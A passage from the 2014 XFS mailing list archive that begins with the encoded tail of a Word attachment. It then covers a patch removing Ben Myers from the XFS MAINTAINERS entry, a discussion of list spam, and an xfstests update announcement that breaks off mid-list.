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 bFBLBQYAAAAADwAPAMYDAAAmRAAAAAA= ------=_NextPart_000_10CE_01CF2CF2.B4C6F800-- From bpm@sgi.com Tue Feb 18 14:59:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 60F2F8005 for ; Tue, 18 Feb 2014 14:59:12 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id DF9ACAC001 for ; Tue, 18 Feb 2014 12:59:11 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9275F4266DC; Tue, 18 Feb 2014 14:59:11 -0600 (CST) Date: Tue, 18 Feb 2014 14:59:11 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [PATCH] MAINTAINERS: remove myself from xfs Message-ID: <20140218205911.GL4806@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) SGI is stepping out of maintainer roles for xfs, xfsprogs, xfsdump, and xfstests. This removes me from the MAINTAINERS entry. Signed-off-by: Ben Myers --- [SGI will continue to host oss.sgi.com as a repository for the XFS open source git trees, mailing list, and documentation as is provided today. And will also continue to participate in a less formal role.] Thanks! -Ben MAINTAINERS | 1 - 1 file changed, 1 deletion(-) Index: b/MAINTAINERS =================================================================== --- a/MAINTAINERS 2014-02-18 14:25:04.076868600 -0600 +++ b/MAINTAINERS 2014-02-18 14:25:06.456877763 -0600 @@ -9715,7 +9715,6 @@ F: drivers/xen/*swiotlb* XFS FILESYSTEM P: Silicon Graphics Inc M: Dave Chinner -M: Ben Myers M: xfs@oss.sgi.com L: xfs@oss.sgi.com W: http://oss.sgi.com/projects/xfs From david@fromorbit.com Tue Feb 18 15:22:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 201877F50 for ; Tue, 18 Feb 2014 15:22:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BD0D5AC001 for ; Tue, 18 Feb 2014 13:22:40 -0800 (PST) X-ASG-Debug-ID: 1392758558-04bdf00fc0126800001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id LghJTHGXWkO3ii8Q for ; Tue, 18 Feb 2014 13:22:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmMUABbOA1N5LJYe/2dsb2JhbABZgwY4qQcDkjaFUYEfF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIBA7LVRaMUoEaEQFQB4Q4BJgvkiWDQSiBNQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 07:52:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFs7c-00012L-SO; Wed, 19 Feb 2014 08:22:32 +1100 Date: Wed, 19 Feb 2014 08:22:32 +1100 From: Dave Chinner To: Keith Keller Cc: xfs@oss.sgi.com Subject: Re: list spam Message-ID: <20140218212232.GG13647@dastard> X-ASG-Orig-Subj: Re: list spam References: <530386A3.1000604@hardwarefreak.com> <53039793.4040809@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392758558 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 11:44:51AM -0800, Keith Keller wrote: > On 2014-02-18, Brent Bice wrote: > > On 02/18/2014 09:13 AM, Stan Hoeppner wrote: > >> Taking a look here: http://oss.sgi.com/archives/xfs/2014-02/index.html > >> we see 5 spams archived yesterday, and 4 so far today, and many in past > >> months. > >> > >> What can be done to keep these spams out of the archive? > > > > Make it a moderated list... (though I'd also offer my condolences to > > the people nominated as moderators) > > Since the list is backed by Mailman, there is a less extreme option: > restrict posting to subscribed email addresses. This won't prevent all > spam, but will cut down a lot. People will still have a harder time > emailing the list, but it'd be even harder with a moderated list, so > restricting to subscribed addresses may be a reasonable compromise. We'll move the list before to a different host before we restrict access or moderate the list. It's an open public list, and it is going to remain that way. I don't know if anyone has noticed, but a large amount of the spam is directed at the deprecated linux-xfs@oss.sgi.com list aliases. Kill that alias, and a large amount of the spam disappears. FWIW, from the perspective of someone who has a lot of lists directing email at him, the XFS list is no worse than most others. Cheers, Dave. -- Dave Chinner david@fromorbit.com From neutrino8@gmail.com Tue Feb 18 15:24:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8F7E6800F for ; Tue, 18 Feb 2014 15:24:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7DBC2304082 for ; Tue, 18 Feb 2014 13:23:59 -0800 (PST) X-ASG-Debug-ID: 1392758637-04cbb00c295548d0001-NocioJ Received: from mail-we0-f182.google.com (mail-we0-f182.google.com [74.125.82.182]) by cuda.sgi.com with ESMTP id x7cwoALMA686DJfg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 13:23:58 -0800 (PST) X-Barracuda-Envelope-From: neutrino8@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.182 Received: by mail-we0-f182.google.com with SMTP id u57so12288745wes.27 for ; Tue, 18 Feb 2014 13:23:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=OP7Fl/2lxD7605/Ay7GEnphWkgcle86D8LF06E/bz2c=; b=Si4WdLH7SV8riqXyNpEDMzkkwjI5ipd+5RAoLWITeOTdiAdVz4aHWTLUeq8VmROctc Krxc1QZCyEbEI+v0ZKijiSMWo8Jt3Ot+nYXM5Upda9lKFUdp27oWQGzIOMM9r778PTT3 ox575zeBZasAM8Je3q5IJ68Ow+gtGw15DBvAEfZunNUSMGM722sBd3GGPy75BxAEw5fS qveLZYHdrZhZd3giFtJkFY8RTNNDNFAh2d7+0C/gKgC+jwugcwbMddYpziRvgo68vpVo ZeNUhPJbN3SzGWE4+qmTYJ2FMKY7eHhBrC/sJJkg/PvWh12ZSb/vxuchPgeWD57t5DMr QTkg== MIME-Version: 1.0 X-Received: by 10.194.85.75 with SMTP id f11mr10749150wjz.47.1392758636761; Tue, 18 Feb 2014 13:23:56 -0800 (PST) Received: by 10.227.145.68 with HTTP; Tue, 18 Feb 2014 13:23:56 -0800 (PST) In-Reply-To: <20140218205911.GL4806@sgi.com> References: <20140218205911.GL4806@sgi.com> Date: Tue, 18 Feb 2014 22:23:56 +0100 Message-ID: Subject: Re: [PATCH] MAINTAINERS: remove myself from xfs From: Grozdan X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: remove myself from xfs To: Ben Myers Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-we0-f182.google.com[74.125.82.182] X-Barracuda-Start-Time: 1392758638 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 18, 2014 at 9:59 PM, Ben Myers wrote: > SGI is stepping out of maintainer roles for xfs, xfsprogs, xfsdump, and > xfstests. This removes me from the MAINTAINERS entry. Can you elaborate on why SGI is doing this? > > Signed-off-by: Ben Myers > --- > > [SGI will continue to host oss.sgi.com as a repository for the XFS open > source git trees, mailing list, and documentation as is provided today. > And will also continue to participate in a less formal role.] > > Thanks! -Ben > > MAINTAINERS | 1 - > 1 file changed, 1 deletion(-) > > Index: b/MAINTAINERS > =================================================================== > --- a/MAINTAINERS 2014-02-18 14:25:04.076868600 -0600 > +++ b/MAINTAINERS 2014-02-18 14:25:06.456877763 -0600 > @@ -9715,7 +9715,6 @@ F: drivers/xen/*swiotlb* > XFS FILESYSTEM > P: Silicon Graphics Inc > M: Dave Chinner > -M: Ben Myers > M: xfs@oss.sgi.com > L: xfs@oss.sgi.com > W: http://oss.sgi.com/projects/xfs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Yours truly From david@fromorbit.com Tue Feb 18 15:31:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 84DF77FFC for ; Tue, 18 Feb 2014 15:31:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7FCA98F804C for ; Tue, 18 Feb 2014 13:31:19 -0800 (PST) X-ASG-Debug-ID: 1392759076-04cbb00c28555340001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XedhEI5t83inXi4k for ; Tue, 18 Feb 2014 13:31:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsUAHDQA1N5LJYe/2dsb2JhbABZgwY4qQcDkjaGcBd0gmYcOyQ0BSUDNIgEm3mvdxaRBA+BegSYL4EzkHKBP4ICKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 08:01:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFsG1-00014U-50 for xfs@oss.sgi.com; Wed, 19 Feb 2014 08:31:13 +1100 Date: Wed, 19 Feb 2014 08:31:13 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfstests: master branch updated to db6d20e Message-ID: <20140218213113.GH13647@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests: master branch updated to db6d20e MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392759077 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been included in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. The new head of the master branch is commit: db6d20e generic: test for atime-related mount options New Commits: Dave Chinner (2): [47dbcf1] xfs/299: users can't modify root owned files [0fde595] xfs/021: filter v5 filesystem metadata David Disseldorp (3): [db5addd] btrfs: add small program for clone testing [678fd16] src/cloner: use btrfs/ioctl.h header if present [2965c15] btrfs: add new clone overwrite regression test Eric Sandeen (2): [3698f09] xfs: check that junk in V4 superblocks doesn't break growfs [0ab3beb] xfs: ensure bad primary sb crc fails mount Filipe David Borba Manana (5): [fc3e4e6] btrfs: add test for data corruption when using compression [4eb876c] btrfs: add regression test for incremental send [32dba77] btrfs: add test for incremental send after dir renames [56c94f4] btrfs: add test for send issuing duplicated rmdir ops [0535565] btrfs: cleanup tests btrfs/030 and btrfs/034 Koen De Wit (1): [db6d20e] generic: test for atime-related mount options Mark Tinguely (1): [b985883] xfs: test setting XFS BMBT fields in xfs_db Wang Shilong (3): [8564bb8] btrfs: add a regression test for running 